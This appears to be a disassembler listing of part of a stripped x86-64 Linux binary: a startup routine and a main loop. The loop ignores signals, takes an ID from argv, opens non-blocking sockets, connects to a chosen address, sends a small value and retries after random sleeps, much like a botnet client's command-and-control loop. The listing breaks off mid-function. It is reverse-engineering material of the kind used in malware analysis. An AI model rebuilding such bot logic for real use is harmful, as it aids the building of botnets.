Address	Bytes	Instruction	Comment
004001d0	48 83 ec 18	SUB RSP,0x18
004001d4	89 7c 24 0c	MOV dword ptr [RSP + local_c],EDI
004001d8	e8 6d 7a 01 00	CALL FUN_00417c4a
004001dd	e8 69 7a 01 00	CALL FUN_00417c4b
004001e2	31 c0	XOR EAX,EAX
004001e4	e8 20 4c 02 00	CALL FUN_00424e09
004001e9	8b 7c 24 0c	MOV EDI,dword ptr [RSP + local_c]
004001ed	e8 9a df 01 00	CALL FUN_0041e18c
004001f2	41 57	PUSH R15
004001f4	41 56	PUSH R14
004001f6	41 55	PUSH R13
004001f8	49 89 f5	MOV R13,RSI
004001fb	31 f6	XOR ESI,ESI
004001fd	41 54	PUSH R12
004001ff	55	PUSH RBP
00400200	53	PUSH RBX
00400201	89 fb	MOV EBX,EDI
00400203	31 ff	XOR EDI,EDI
00400205	48 81 ec 68 09 00 00	SUB RSP,0x968
0040020c	e8 28 db 01 00	CALL FUN_0041dd39
00400211	48 8d ac 24 60 01 00 00	LEA RBP,[RSP + 0x160]
00400219	4c 8d 64 24 40	LEA R12,[RSP + 0x40]
0040021e	e8 7d d9 00 00	CALL FUN_0040dba0
00400223	e8 60 37 01 00	CALL FUN_00413988
00400228	31 c0	XOR EAX,EAX
0040022a	e8 cf c6 00 00	CALL FUN_0040c8fe
0040022f	48 89 ef	MOV RDI,RBP
00400232	e8 93 be 01 00	CALL FUN_0041c0ca
00400237	be 02 00 00 00	MOV ESI,0x2
0040023c	48 89 ef	MOV RDI,RBP
0040023f	e8 57 be 01 00	CALL FUN_0041c09b
00400244	be 01 00 00 00	MOV ESI,0x1
00400249	bf 11 00 00 00	MOV EDI,0x11
0040024e	e8 81 be 01 00	CALL FUN_0041c0d4
00400253	be 01 00 00 00	MOV ESI,0x1
00400258	bf 01 00 00 00	MOV EDI,0x1
0040025d	e8 72 be 01 00	CALL FUN_0041c0d4
00400262	be 01 00 00 00	MOV ESI,0x1
00400267	bf 14 00 00 00	MOV EDI,0x14
0040026c	e8 63 be 01 00	CALL FUN_0041c0d4
00400271	be 01 00 00 00	MOV ESI,0x1
00400276	bf 15 00 00 00	MOV EDI,0x15
0040027b	e8 54 be 01 00	CALL FUN_0041c0d4
00400280	be 01 00 00 00	MOV ESI,0x1
00400285	bf 16 00 00 00	MOV EDI,0x16
0040028a	e8 45 be 01 00	CALL FUN_0041c0d4
0040028f	31 d2	XOR EDX,EDX
00400291	48 89 ee	MOV RSI,RBP
00400294	31 ff	XOR EDI,EDI
00400296	e8 92 be 01 00	CALL FUN_0041c12d
0040029b	48 8d 3d be 4b 02 00	LEA RDI,[DAT_00424e60]
004002a2	e8 88 d8 01 00	CALL FUN_0041db2f
004002a7	e8 3c d1 00 00	CALL FUN_0040d3e8
004002ac	be 20 00 00 00	MOV ESI,0x20
004002b1	4c 89 e7	MOV RDI,R12
004002b4	89 05 e6 ed 22 00	MOV dword ptr [DAT_0062f0a0],EAX
004002ba	e8 5d cf 00 00	CALL thunk_FUN_0040d215
004002bf	ff cb	DEC EBX
004002c1	7e 30	JLE LAB_004002f3
004002c3	49 8b 7d 08	MOV RDI,qword ptr [R13 + 0x8]
004002c7	e8 b0 cc 00 00	CALL FUN_0040cf7c
004002cc	83 f8 1f	CMP EAX,0x1f
004002cf	7f 22	JG LAB_004002f3
004002d1	49 8b 75 08	MOV RSI,qword ptr [R13 + 0x8]
004002d5	4c 89 e7	MOV RDI,R12
004002d8	e8 75 ce 00 00	CALL FUN_0040d152
004002dd	49 8b 7d 08	MOV RDI,qword ptr [R13 + 0x8]
004002e1	e8 96 cc 00 00	CALL FUN_0040cf7c
004002e6	49 8b 7d 08	MOV RDI,qword ptr [R13 + 0x8]
004002ea	89 c6	MOV ESI,EAX
004002ec	e8 2b cf 00 00	CALL thunk_FUN_0040d215
004002f1	eb 29	JMP LAB_0040031c
LAB_004002f3:
004002f3	48 8b 05 f6 e3 22 00	MOV RAX,qword ptr [DAT_0062e6f0]
004002fa	48 8b b0 f0 0e 00 00	MOV RSI,qword ptr [RAX + 0xef0]
00400301	48 85 f6	TEST RSI,RSI
00400304	74 11	JZ LAB_00400317
00400306	8b 88 f8 0e 00 00	MOV ECX,dword ptr [RAX + 0xef8]
0040030c	85 c9	TEST ECX,ECX
0040030e	7e 07	JLE LAB_00400317
00400310	4c 89 e7	MOV RDI,R12
00400313	f3 a4	MOVSB.REP RDI,RSI
00400315	eb 05	JMP LAB_0040031c
LAB_00400317:
00400317	c6 44 24 40 6c	MOV byte ptr [RSP + local_970],0x6c
LAB_0040031c:
0040031c	4c 89 e7	MOV RDI,R12
0040031f	e8 c5 c0 00 00	CALL FUN_0040c3e9
00400324	4c 89 ef	MOV RDI,R13
00400327	45 31 ed	XOR R13D,R13D
0040032a	e8 a1 36 01 00	CALL FUN_004139d0
0040032f	e8 91 4a 01 00	CALL thunk_FUN_00414442
00400334	e8 f8 d8 01 00	CALL FUN_0041dc31
00400339	85 c0	TEST EAX,EAX
0040033b	41 0f 94 c5	SETZ R13B
0040033f	74 25	JZ LAB_00400366
00400341	bf 02 00 00 00	MOV EDI,0x2
00400346	ba 06 00 00 00	MOV EDX,0x6
0040034b	be 03 00 00 00	MOV ESI,0x3
00400350	e8 ae b8 01 00	CALL FUN_0041bc03
00400355	89 c7	MOV EDI,EAX
00400357	85 c0	TEST EAX,EAX
00400359	78 0b	JS LAB_00400366
0040035b	e8 e1 d7 01 00	CALL FUN_0041db41
00400360	41 bd 01 00 00 00	MOV R13D,0x1
LAB_00400366:
00400366	44 89 ef	MOV EDI,R13D
00400369	e8 e5 c7 00 00	CALL FUN_0040cb53
0040036e	e8 05 2a 01 00	CALL FUN_00412d78
00400373	e8 fa c6 00 00	CALL FUN_0040ca72
00400378	e8 f1 d7 00 00	CALL FUN_0040db6e
0040037d	e8 16 d8 00 00	CALL FUN_0040db98
00400382	48 85 c0	TEST RAX,RAX
00400385	74 30	JZ LAB_004003b7
00400387	48 8b 30	MOV RSI,qword ptr [RAX]
0040038a	48 85 f6	TEST RSI,RSI
0040038d	74 28	JZ LAB_004003b7
0040038f	48 63 50 08	MOVSXD RDX,dword ptr [RAX + 0x8]
00400393	85 d2	TEST EDX,EDX
00400395	7e 20	JLE LAB_004003b7
00400397	bf 01 00 00 00	MOV EDI,0x1
0040039c	e8 34 da 01 00	CALL FUN_0041ddd5
004003a1	ba 01 00 00 00	MOV EDX,0x1
004003a6	bf 01 00 00 00	MOV EDI,0x1
004003ab	48 8d 35 9b 6a 02 00	LEA RSI,[DAT_00426e4d]
004003b2	e8 1e da 01 00	CALL FUN_0041ddd5
LAB_004003b7:
004003b7	e8 22 ba 01 00	CALL FUN_0041bdde
004003bc	85 c0	TEST EAX,EAX
004003be	0f 8f a7 07 00 00	JG LAB_00400b6b
004003c4	e8 88 d9 01 00	CALL FUN_0041dd51
004003c9	31 ff	XOR EDI,EDI
004003cb	e8 71 d7 01 00	CALL FUN_0041db41
004003d0	bf 01 00 00 00	MOV EDI,0x1
004003d5	e8 67 d7 01 00	CALL FUN_0041db41
004003da	bf 02 00 00 00	MOV EDI,0x2
004003df	e8 5d d7 01 00	CALL FUN_0041db41
004003e4	e8 45 5f 01 00	CALL FUN_0041632e
004003e9	31 c0	XOR EAX,EAX
004003eb	e8 9f cb 00 00	CALL FUN_0040cf8f
004003f0	49 89 c5	MOV R13,RAX
004003f3	48 85 c0	TEST RAX,RAX
004003f6	74 18	JZ LAB_00400410
004003f8	48 89 c7	MOV RDI,RAX
004003fb	e8 cb 51 01 00	CALL FUN_004155cb
00400400	4c 89 ef	MOV RDI,R13
00400403	e8 9f 6d 01 00	CALL FUN_004171a7
00400408	4c 89 ef	MOV RDI,R13
0040040b	e8 f0 7b 01 00	CALL thunk_FUN_004183e7
LAB_00400410:
00400410	e8 c1 5f 01 00	CALL FUN_004163d6
00400415	e8 e9 6f 01 00	CALL FUN_00417403
0040041a	8b 05 80 be 2b 00	MOV EAX,dword ptr [DAT_006bc2a0]
00400420	89 05 ae eb 22 00	MOV dword ptr [DAT_0062efd4],EAX
00400426	e8 6c d8 01 00	CALL FUN_0041dc97
0040042b	89 c7	MOV EDI,EAX
0040042d	e8 98 49 01 00	CALL FUN_00414dca
00400432	31 c0	XOR EAX,EAX
00400434	e8 c5 c4 00 00	CALL FUN_0040c8fe
00400439	31 c0	XOR EAX,EAX
0040043b	e8 4f cb 00 00	CALL FUN_0040cf8f
00400440	49 89 c5	MOV R13,RAX
00400443	48 85 c0	TEST RAX,RAX
00400446	74 18	JZ LAB_00400460
00400448	48 89 c7	MOV RDI,RAX
0040044b	e8 7b 51 01 00	CALL FUN_004155cb
00400450	4c 89 ef	MOV RDI,R13
00400453	e8 4f 6d 01 00	CALL FUN_004171a7
00400458	4c 89 ef	MOV RDI,R13
0040045b	e8 a0 7b 01 00	CALL thunk_FUN_004183e7
LAB_00400460:
00400460	31 db	XOR EBX,EBX
00400462	4c 8d 3d 77 eb 22 00	LEA R15,[DAT_0062efe0]
LAB_00400469:
00400469	4c 8d 6c 24 60	LEA R13,[RSP + 0x60]
0040046e	31 c0	XOR EAX,EAX
00400470	b9 20 00 00 00	MOV ECX,0x20
00400475	4c 89 ef	MOV RDI,R13
00400478	4c 8d b4 24 e0 00 00 00	LEA R14,[RSP + 0xe0]
00400480	f3 ab	STOSD.REP RDI
00400482	b9 20 00 00 00	MOV ECX,0x20
00400487	4c 89 f7	MOV RDI,R14
0040048a	f3 ab	STOSD.REP RDI
0040048c	8b 0d 96 b5 22 00	MOV ECX,dword ptr [DAT_0062ba28]
00400492	83 f9 ff	CMP ECX,-0x1
00400495	74 14	JZ LAB_004004ab
00400497	48 63 c1	MOVSXD RAX,ECX
0040049a	ba 01 00 00 00	MOV EDX,0x1
0040049f	48 c1 e8 06	SHR RAX,0x6
004004a3	48 d3 e2	SHL RDX,CL
004004a6	48 89 54 c4 60	MOV qword ptr [RSP + RAX*0x8 + 0x60],RDX
LAB_004004ab:
004004ab	83 3d 72 b5 22 00 ff	CMP dword ptr [DAT_0062ba24],-0x1
004004b2	0f 85 98 01 00 00	JNZ LAB_00400650
004004b8	bf 02 00 00 00	MOV EDI,0x2
004004bd	31 d2	XOR EDX,EDX
004004bf	be 01 00 00 00	MOV ESI,0x1
004004c4	e8 3a b7 01 00	CALL FUN_0041bc03
004004c9	89 05 55 b5 22 00	MOV dword ptr [DAT_0062ba24],EAX
004004cf	89 c7	MOV EDI,EAX
004004d1	83 f8 ff	CMP EAX,-0x1
004004d4	0f 84 76 01 00 00	JZ LAB_00400650
004004da	31 d2	XOR EDX,EDX
004004dc	be 03 00 00 00	MOV ESI,0x3
004004e1	31 c0	XOR EAX,EAX
004004e3	e8 86 77 01 00	CALL FUN_00417c6e
004004e8	8b 3d 36 b5 22 00	MOV EDI,dword ptr [DAT_0062ba24]
004004ee	be 04 00 00 00	MOV ESI,0x4
004004f3	80 cc 08	OR AH,0x8
004004f6	89 c2	MOV EDX,EAX
004004f8	31 c0	XOR EAX,EAX
004004fa	e8 6f 77 01 00	CALL FUN_00417c6e
004004ff	41 80 3f 00	CMP byte ptr [R15],0x0
00400503	66 c7 05 84 eb 22 00 02 …	MOV word ptr [DAT_0062f090],0x2
0040050c	74 10	JZ LAB_0040051e
0040050e	e8 28 27 01 00	CALL FUN_00412c3b
00400513	bf 01 00 00 00	MOV EDI,0x1
00400518	84 c0	TEST AL,AL
0040051a	74 04	JZ LAB_00400520
0040051c	eb 2d	JMP LAB_0040054b
LAB_0040051e:
0040051e	31 ff	XOR EDI,EDI
LAB_00400520:
00400520	e8 64 2c 01 00	CALL FUN_00413189
00400525	84 c0	TEST AL,AL
00400527	74 06	JZ LAB_0040052f
00400529	41 80 3f 00	CMP byte ptr [R15],0x0
0040052d	75 1c	JNZ LAB_0040054b
LAB_0040052f:
0040052f	80 3d 32 eb 22 00 00	CMP byte ptr [DAT_0062f068],0x0
00400536	0f 85 c5 00 00 00	JNZ LAB_00400601
0040053c	c7 05 4e eb 22 00 00 00 …	MOV dword ptr [DAT_0062f094],0x0
00400546	e9 06 06 00 00	JMP LAB_00400b51
LAB_0040054b:
0040054b	0f b6 05 8f ea 22 00	MOVZX EAX,byte ptr [DAT_0062efe1]
00400552	84 c0	TEST AL,AL
00400554	74 d9	JZ LAB_0040052f
00400556	8b 15 88 ea 22 00	MOV EDX,dword ptr [DAT_0062efe4]
0040055c	31 f6	XOR ESI,ESI
0040055e	31 c9	XOR ECX,ECX
00400560	bf 01 00 00 00	MOV EDI,0x1
LAB_00400565:
00400565	41 89 f8	MOV R8D,EDI
00400568	41 d3 e0	SHL R8D,CL
0040056b	41 85 d0	TEST R8D,EDX
0040056e	75 0d	JNZ LAB_0040057d
00400570	4c 63 c6	MOVSXD R8,ESI
00400573	ff c6	INC ESI
00400575	42 89 8c 84 60 01 00 00	MOV dword ptr [RSP + R8*0x4 + 0x160],ECX
LAB_0040057d:
0040057d	ff c1	INC ECX
0040057f	39 c1	CMP ECX,EAX
00400581	7c e2	JL LAB_00400565
00400583	85 f6	TEST ESI,ESI
00400585	75 28	JNZ LAB_004005af
00400587	bf 01 00 00 00	MOV EDI,0x1
0040058c	e8 f8 2b 01 00	CALL FUN_00413189
00400591	84 c0	TEST AL,AL
00400593	74 9a	JZ LAB_0040052f
00400595	0f b6 35 45 ea 22 00	MOVZX ESI,byte ptr [DAT_0062efe1]
0040059c	31 c0	XOR EAX,EAX
LAB_0040059e:
0040059e	39 c6	CMP ESI,EAX
004005a0	7e 09	JLE LAB_004005ab
004005a2	89 44 85 00	MOV dword ptr [RBP + RAX*0x4],EAX
004005a6	48 ff c0	INC RAX
004005a9	eb f3	JMP LAB_0040059e
LAB_004005ab:
004005ab	85 f6	TEST ESI,ESI
004005ad	74 80	JZ LAB_0040052f
LAB_004005af:
004005af	89 74 24 0c	MOV dword ptr [RSP + local_9a4],ESI
004005b3	e8 f5 c4 00 00	CALL FUN_0040caad
004005b8	8b 74 24 0c	MOV ESI,dword ptr [RSP + local_9a4]
004005bc	31 d2	XOR EDX,EDX
004005be	f7 f6	DIV ESI
004005c0	48 63 84 94 60 01 00 00	MOVSXD RAX,dword ptr [RSP + RDX*0x4 + 0x160]
004005c8	88 05 14 ea 22 00	MOV byte ptr [DAT_0062efe2],AL
004005ce	41 8b 44 87 08	MOV EAX,dword ptr [R15 + RAX*0x4 + 0x8]
004005d3	89 05 bb ea 22 00	MOV dword ptr [DAT_0062f094],EAX
004005d9	e8 cc 34 01 00	CALL FUN_00413aaa
004005de	8b 15 b0 ea 22 00	MOV EDX,dword ptr [DAT_0062f094]
004005e4	c6 05 7d ea 22 00 01	MOV byte ptr [DAT_0062f068],0x1
004005eb	66 89 05 a0 ea 22 00	MOV word ptr [DAT_0062f092],AX
004005f2	89 15 74 ea 22 00	MOV dword ptr [DAT_0062f06c],EDX
004005f8	66 89 05 71 ea 22 00	MOV word ptr [DAT_0062f070],AX
004005ff	eb 19	JMP LAB_0040061a
LAB_00400601:
00400601	8b 05 65 ea 22 00	MOV EAX,dword ptr [DAT_0062f06c]
00400607	89 05 87 ea 22 00	MOV dword ptr [DAT_0062f094],EAX
0040060d	8b 05 5d ea 22 00	MOV EAX,dword ptr [DAT_0062f070]
00400613	66 89 05 78 ea 22 00	MOV word ptr [DAT_0062f092],AX
LAB_0040061a:
0040061a	83 3d 73 ea 22 00 00	CMP dword ptr [DAT_0062f094],0x0
00400621	8b 3d fd b3 22 00	MOV EDI,dword ptr [DAT_0062ba24]
00400627	0f 84 24 05 00 00	JZ LAB_00400b51
0040062d	ba 10 00 00 00	MOV EDX,0x10
00400632	48 8d 35 57 ea 22 00	LEA RSI,[DAT_0062f090]
00400639	c6 05 40 ea 22 00 01	MOV byte ptr [DAT_0062f080],0x1
00400640	e8 44 90 01 00	CALL FUN_00419689
00400645	85 c0	TEST EAX,EAX
00400647	75 07	JNZ LAB_00400650
00400649	c6 05 30 ea 22 00 00	MOV byte ptr [DAT_0062f080],0x0
LAB_00400650:
00400650	48 63 0d cd b3 22 00	MOVSXD RCX,dword ptr [DAT_0062ba24]
00400657	83 f9 ff	CMP ECX,-0x1
0040065a	74 24	JZ LAB_00400680
0040065c	b8 01 00 00 00	MOV EAX,0x1
00400661	48 d3 e0	SHL RAX,CL
00400664	48 c1 e9 06	SHR RCX,0x6
00400668	80 3d 11 ea 22 00 00	CMP byte ptr [DAT_0062f080],0x0
0040066f	74 0a	JZ LAB_0040067b
00400671	48 09 84 cc e0 00 00 00	OR qword ptr [RSP + RCX*0x8 + 0xe0],RAX
00400679	eb 05	JMP LAB_00400680
LAB_0040067b:
0040067b	48 09 44 cc 60	OR qword ptr [RSP + RCX*0x8 + 0x60],RAX
LAB_00400680:
00400680	e8 86 a3 00 00	CALL FUN_0040aa0b
00400685	89 c1	MOV ECX,EAX
00400687	85 c0	TEST EAX,EAX
00400689	78 13	JS LAB_0040069e
0040068b	48 98	CDQE
0040068d	ba 01 00 00 00	MOV EDX,0x1
00400692	48 c1 e8 06	SHR RAX,0x6
00400696	48 d3 e2	SHL RDX,CL
00400699	48 09 54 c4 60	OR qword ptr [RSP + RAX*0x8 + 0x60],RDX
LAB_0040069e:
0040069e	8b 05 80 b3 22 00	MOV EAX,dword ptr [DAT_0062ba24]
004006a4	8b 3d 7e b3 22 00	MOV EDI,dword ptr [DAT_0062ba28]
004006aa	83 f8 ff	CMP EAX,-0x1
004006ad	74 05	JZ LAB_004006b4
004006af	39 c7	CMP EDI,EAX
004006b1	0f 4c f8	CMOVL EDI,EAX
LAB_004006b4:
004006b4	89 7c 24 0c	MOV dword ptr [RSP + local_9a4],EDI
004006b8	e8 4e a3 00 00	CALL FUN_0040aa0b
004006bd	8b 7c 24 0c	MOV EDI,dword ptr [RSP + local_9a4]
004006c1	39 c7	CMP EDI,EAX
004006c3	0f 4c f8	CMOVL EDI,EAX
004006c6	83 ff ff	CMP EDI,-0x1
004006c9	0f 84 7a 04 00 00	JZ LAB_00400b49
004006cf	48 c7 44 24 28 00 00 00 …	MOV qword ptr [RSP + local_988],0x0
004006d8	80 3d 25 e0 22 00 00	CMP byte ptr [DAT_0062e704],0x0
004006df	74 0e	JZ LAB_004006ef
004006e1	80 3d 18 e0 22 00 00	CMP byte ptr [DAT_0062e700],0x0
004006e8	b8 01 00 00 00	MOV EAX,0x1
004006ed	74 15	JZ LAB_00400704
LAB_004006ef:
004006ef	83 3d 2e b3 22 00 ff	CMP dword ptr [DAT_0062ba24],-0x1
004006f6	b8 03 00 00 00	MOV EAX,0x3
004006fb	ba 0f 00 00 00	MOV EDX,0xf
00400700	48 0f 45 c2	CMOVNZ RAX,RDX
LAB_00400704:
00400704	ff c7	INC EDI
00400706	31 c9	XOR ECX,ECX
00400708	4c 89 f2	MOV RDX,R14
0040070b	48 89 44 24 20	MOV qword ptr [RSP + local_990],RAX
00400710	4c 8d 44 24 20	LEA R8,[RSP + 0x20]
00400715	4c 89 ee	MOV RSI,R13
00400718	e8 7b b8 01 00	CALL FUN_0041bf98
0040071d	83 f8 ff	CMP EAX,-0x1
00400720	0f 84 23 04 00 00	JZ LAB_00400b49
00400726	41 89 dd	MOV R13D,EBX
00400729	85 c0	TEST EAX,EAX
0040072b	0f 85 a8 00 00 00	JNZ LAB_004007d9
00400731	e8 d5 a2 00 00	CALL FUN_0040aa0b
00400736	85 c0	TEST EAX,EAX
00400738	78 0e	JS LAB_00400748
0040073a	31 f6	XOR ESI,ESI
0040073c	48 8d 3d 30 26 01 00	LEA RDI,[LAB_00412d73]
00400743	e8 7d a8 00 00	CALL FUN_0040afc5
LAB_00400748:
00400748	8b 3d d6 b2 22 00	MOV EDI,dword ptr [DAT_0062ba24]
0040074e	41 89 dd	MOV R13D,EBX
00400751	83 ff ff	CMP EDI,-0x1
00400754	74 53	JZ LAB_004007a9
00400756	89 d8	MOV EAX,EBX
00400758	b9 06 00 00 00	MOV ECX,0x6
0040075d	44 8d 6b 01	LEA R13D,[RBX + 0x1]
00400761	99	CDQ
00400762	f7 f9	IDIV ECX
00400764	85 d2	TEST EDX,EDX
00400766	75 41	JNZ LAB_004007a9
00400768	80 3d 91 df 22 00 00	CMP byte ptr [DAT_0062e700],0x0
0040076f	74 13	JZ LAB_00400784
00400771	ba 12 00 00 00	MOV EDX,0x12
00400776	48 8d 35 83 80 02 00	LEA RSI,[DAT_00428800]
0040077d	e8 6f 19 01 00	CALL FUN_004120f1	; FUN_004120f1: unknown
00400782	eb 25	JMP LAB_004007a9
LAB_00400784:
00400784	80 3d 79 df 22 00 00	CMP byte ptr [DAT_0062e704],0x0
0040078b	75 1c	JNZ LAB_004007a9
0040078d	b9 00 40 00 00	MOV ECX,0x4000
00400792	ba 02 00 00 00	MOV EDX,0x2
00400797	48 89 ee	MOV RSI,RBP
0040079a	66 c7 84 24 60 01 00 00 …	MOV word ptr [RSP + local_850],0x0
004007a4	e8 fa b3 01 00	CALL FUN_0041bba3
LAB_004007a9:
004007a9	80 3d 54 df 22 00 00	CMP byte ptr [DAT_0062e704],0x0
004007b0	74 27	JZ LAB_004007d9
004007b2	80 3d 47 df 22 00 00	CMP byte ptr [DAT_0062e700],0x0
004007b9	75 1e	JNZ LAB_004007d9
004007bb	48 83 3d b5 e8 22 00 00	CMP qword ptr [DAT_0062f078],0x0
004007c3	74 14	JZ LAB_004007d9
004007c5	31 ff	XOR EDI,EDI
004007c7	e8 24 d3 01 00	CALL FUN_0041daf0
004007cc	48 3b 05 a5 e8 22 00	CMP RAX,qword ptr [DAT_0062f078]
004007d3	0f 8f 47 03 00 00	JG LAB_00400b20
LAB_004007d9:
004007d9	e8 2d a2 00 00	CALL FUN_0040aa0b
004007de	85 c0	TEST EAX,EAX
004007e0	78 20	JS LAB_00400802
004007e2	48 63 d0	MOVSXD RDX,EAX
004007e5	48 c1 ea 06	SHR RDX,0x6
004007e9	48 8b 54 d4 60	MOV RDX,qword ptr [RSP + RDX*0x8 + 0x60]
004007ee	48 0f a3 c2	BT RDX,RAX
004007f2	73 0e	JNC LAB_00400802
004007f4	31 f6	XOR ESI,ESI
004007f6	48 8d 3d 76 25 01 00	LEA RDI,[LAB_00412d73]
004007fd	e8 c3 a7 00 00	CALL FUN_0040afc5
LAB_00400802:
00400802	8b 3d 20 b2 22 00	MOV EDI,dword ptr [DAT_0062ba28]
00400808	83 ff ff	CMP EDI,-0x1
0040080b	74 66	JZ LAB_00400873
0040080d	48 63 c7	MOVSXD RAX,EDI
00400810	48 c1 e8 06	SHR RAX,0x6
00400814	48 8b 44 c4 60	MOV RAX,qword ptr [RSP + RAX*0x8 + 0x60]
00400819	48 0f a3 f8	BT RAX,RDI
0040081d	73 54	JNC LAB_00400873
0040081f	48 8d 54 24 30	LEA RDX,[RSP + 0x30]
00400824	48 89 ee	MOV RSI,RBP
00400827	c7 44 24 30 10 00 00 00	MOV dword ptr [RSP + local_980],0x10
0040082f	e8 06 8e 01 00	CALL FUN_0041963a
00400834	8b 3d ee b1 22 00	MOV EDI,dword ptr [DAT_0062ba28]
0040083a	e8 02 d3 01 00	CALL FUN_0041db41
0040083f	8b 3d 8f e7 22 00	MOV EDI,dword ptr [DAT_0062efd4]
00400845	c7 05 d9 b1 22 00 ff ff …	MOV dword ptr [DAT_0062ba28],0xffffffff
0040084f	85 ff	TEST EDI,EDI
00400851	7e 0a	JLE LAB_0040085d
00400853	be 09 00 00 00	MOV ESI,0x9
00400858	e8 26 b8 01 00	CALL FUN_0041c083
LAB_0040085d:
0040085d	e8 85 55 01 00	CALL FUN_00415de7
00400862	bf 01 00 00 00	MOV EDI,0x1
00400867	e8 f7 d4 01 00	CALL FUN_0041dd63
0040086c	31 ff	XOR EDI,EDI
0040086e	e8 5d f9 ff ff	CALL FUN_004001d0
LAB_00400873:
00400873	80 3d 06 e8 22 00 00	CMP byte ptr [DAT_0062f080],0x0
0040087a	8b 3d a4 b1 22 00	MOV EDI,dword ptr [DAT_0062ba24]
00400880	0f 84 dd 00 00 00	JZ LAB_00400963
00400886	48 63 c7	MOVSXD RAX,EDI
00400889	89 fa	MOV EDX,EDI
0040088b	c6 05 ee e7 22 00 00	MOV byte ptr [DAT_0062f080],0x0
00400892	48 c1 e8 06	SHR RAX,0x6
00400896	83 e2 3f	AND EDX,0x3f
00400899	48 8b 8c c4 e0 00 00 00	MOV RCX,qword ptr [RSP + RAX*0x8 + 0xe0]
004008a1	48 0f a3 f9	BT RCX,RDI
004008a5	72 0f	JC LAB_004008b6
004008a7	48 8b 44 c4 60	MOV RAX,qword ptr [RSP + RAX*0x8 + 0x60]
004008ac	48 0f a3 d0	BT RAX,RDX
004008b0	0f 83 a1 00 00 00	JNC LAB_00400957
LAB_004008b6:
004008b6	48 8d 4c 24 1c	LEA RCX,[RSP + 0x1c]
004008bb	4c 8d 44 24 30	LEA R8,[RSP + 0x30]
004008c0	ba 04 00 00 00	MOV EDX,0x4
004008c5	be 01 00 00 00	MOV ESI,0x1
004008ca	c7 44 24 1c 00 00 00 00	MOV dword ptr [RSP + local_994],0x0
004008d2	c7 44 24 30 04 00 00 00	MOV dword ptr [RSP + local_980],0x4
004008da	e8 08 92 01 00	CALL FUN_00419ae7
004008df	83 7c 24 1c 00	CMP dword ptr [RSP + local_994],0x0
004008e4	74 38	JZ LAB_0040091e
004008e6	e8 8a 23 01 00	CALL FUN_00412c75
004008eb	8b 3d 33 b1 22 00	MOV EDI,dword ptr [DAT_0062ba24]
004008f1	e8 4b d2 01 00	CALL FUN_0041db41
004008f6	c7 05 24 b1 22 00 ff ff …	MOV dword ptr [DAT_0062ba24],0xffffffff
00400900	e8 a8 c1 00 00	CALL FUN_0040caad
00400905	b9 0a 00 00 00	MOV ECX,0xa
0040090a	31 d2	XOR EDX,EDX
0040090c	f7 f1	DIV ECX
0040090e	8d 7a 01	LEA EDI,[RDX + 0x1]
00400911	e8 4d d4 01 00	CALL FUN_0041dd63
LAB_00400916:
00400916	44 89 eb	MOV EBX,R13D
00400919	e9 4b fb ff ff	JMP LAB_00400469
LAB_0040091e:
0040091e	8b 3d 00 b1 22 00	MOV EDI,dword ptr [DAT_0062ba24]
00400924	41 b8 04 00 00 00	MOV R8D,0x4
0040092a	48 89 e9	MOV RCX,RBP
0040092d	ba 01 00 00 00	MOV EDX,0x1
00400932	c7 84 24 60 01 00 00 01 …	MOV dword ptr [RSP + local_850],0x1
0040093d	be 06 00 00 00	MOV ESI,0x6
00400942	e8 98 b2 01 00	CALL FUN_0041bbdf
00400947	8b 3d d7 b0 22 00	MOV EDI,dword ptr [DAT_0062ba24]
0040094d	4c 89 e6	MOV RSI,R12
00400950	e8 7b 29 01 00	CALL FUN_004132d0	; FUN_004132d0: unknown
00400955	eb bf	JMP LAB_00400916
LAB_00400957:
00400957	e8 19 23 01 00	CALL FUN_00412c75
0040095c	e8 39 23 01 00	CALL FUN_00412c9a
00400961	eb b3	JMP LAB_00400916
LAB_00400963:
00400963	83 ff ff	CMP EDI,-0x1
00400966	74 ae	JZ LAB_00400916
00400968	48 63 c7	MOVSXD RAX,EDI
0040096b	48 c1 e8 06	SHR RAX,0x6
0040096f	48 8b 44 c4 60	MOV RAX,qword ptr [RSP + RAX*0x8 + 0x60]
00400974	48 0f a3 f8	BT RAX,RDI
00400978	73 9c	JNC LAB_00400916
0040097a	80 3d 7f dd 22 00 00	CMP byte ptr [DAT_0062e700],0x0
00400981	74 50	JZ LAB_004009d3
00400983	bb 10 00 00 00	MOV EBX,0x10
00400988	4c 8d 74 24 30	LEA R14,[RSP + 0x30]
LAB_0040098d:
0040098d	8b 3d 91 b0 22 00	MOV EDI,dword ptr [DAT_0062ba24]
00400993	4c 89 f1	MOV RCX,R14
00400996	ba 00 08 00 00	MOV EDX,0x800
0040099b	48 89 ee	MOV RSI,RBP
0040099e	c7 44 24 30 00 00 00 00	MOV dword ptr [RSP + local_980],0x0
004009a6	e8 b0 17 01 00	CALL FUN_0041215b	; FUN_0041215b: unknown
004009ab	83 f8 01	CMP EAX,0x1
004009ae	75 16	JNZ LAB_004009c6
004009b0	8b 74 24 30	MOV ESI,dword ptr [RSP + local_980]
004009b4	48 89 ef	MOV RDI,RBP
004009b7	e8 3a 2f 01 00	CALL FUN_004138f6
004009bc	ff cb	DEC EBX
004009be	0f 84 52 ff ff ff	JZ LAB_00400916
004009c4	eb c7	JMP LAB_0040098d
LAB_004009c6:
004009c6	85 c0	TEST EAX,EAX
004009c8	0f 89 48 ff ff ff	JNS LAB_00400916
004009ce	e9 4d 01 00 00	JMP LAB_00400b20
LAB_004009d3:
004009d3	80 3d 2a dd 22 00 00	CMP byte ptr [DAT_0062e704],0x0
004009da	0f 84 07 01 00 00	JZ LAB_00400ae7
004009e0	bb 21 00 00 00	MOV EBX,0x21
004009e5	41 be 01 00 00 00	MOV R14D,0x1
LAB_004009eb:
004009eb	8b 3d 33 b0 22 00	MOV EDI,dword ptr [DAT_0062ba24]
004009f1	ff cb	DEC EBX
004009f3	0f 84 1d ff ff ff	JZ LAB_00400916
004009f9	e8 a3 12 01 00	CALL FUN_00411ca1	; FUN_00411ca1: unknown
004009fe	85 c0	TEST EAX,EAX
00400a00	75 79	JNZ LAB_00400a7b
00400a02	b9 20 00 00 00	MOV ECX,0x20
00400a07	48 89 ef	MOV RDI,RBP
00400a0a	4c 89 f2	MOV RDX,R14
00400a0d	48 89 ee	MOV RSI,RBP
00400a10	f3 ab	STOSD.REP RDI
00400a12	48 63 05 0b b0 22 00	MOVSXD RAX,dword ptr [DAT_0062ba24]
00400a19	4c 8d 44 24 30	LEA R8,[RSP + 0x30]
00400a1e	48 c7 44 24 30 00 00 00 …	MOV qword ptr [RSP + local_980],0x0
00400a27	48 c7 44 24 38 00 00 00 …	MOV qword ptr [RSP + local_978],0x0
